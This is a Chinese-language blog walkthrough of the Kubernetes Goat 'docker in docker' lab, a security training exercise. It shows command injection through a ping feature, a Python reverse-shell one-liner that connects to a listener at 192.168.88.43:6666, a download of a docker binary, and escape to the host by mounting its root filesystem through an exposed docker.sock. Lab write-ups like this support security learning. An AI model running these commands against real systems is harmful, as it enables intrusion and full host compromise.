categories: []
date: '2023-10-27T17:15:58.474914+08:00'
tags:

  • Kubernetes Goat
    title: Kubernetes Goat 02 - docker in docker
    updated: 2023-10-27T17:15:58.276+8:0

Kubernetes Goat 02 - docker in docker

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-20-02_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 能执行ping命令

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-20-46_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 职业习惯加个管道符

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-21-35_d41d8cd98f00b204e9800998ecf8427e.jpg

反弹shell

  • 尝试使用bash来反弹没有成功
  • 使用python反弹执行成功

  • 监听

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-23-52_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 执行命令
192.168.88.43 | python -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.88.43",6666));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-24-46_d41d8cd98f00b204e9800998ecf8427e.jpg

判断环境

  • ls -la 

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-26-11_d41d8cd98f00b204e9800998ecf8427e.jpg

  • mount

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-26-57_d41d8cd98f00b204e9800998ecf8427e.jpg

docker in docker

  • "Docker in Docker" (DinD) 是一种在 Docker 容器内部运行 Docker 的实践方法。它允许您在一个容器中运行和管理 Docker 容器,而无需在宿主机上安装 Docker。

docker in docker 渗透测试

  • 下载docker二进制版本
  • tmp目录下
 wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
  • 解压后执行
  • 可以执行docker的命令
/tmp/docker/docker -H unix:///custom/docker/docker.sock images

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-32-13_d41d8cd98f00b204e9800998ecf8427e.jpg

/tmp/docker# /tmp/docker/docker -H unix:///custom/docker/docker.sock ps

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-33-29_d41d8cd98f00b204e9800998ecf8427e.jpg

宿主机执行系统命令

/tmp/docker/docker -H unix:///custom/docker/docker.sock run -v /:/mnt -it alpine  sh

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-27_17-35-00_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 这个命令将在基于Alpine Linux镜像的Docker容器中运行。-v标志用于将主机目录/挂载到容器的目录/mnt。-it标志允许在容器内进行交互式会话,sh指定要运行的命令(在这种情况下,启动shell)。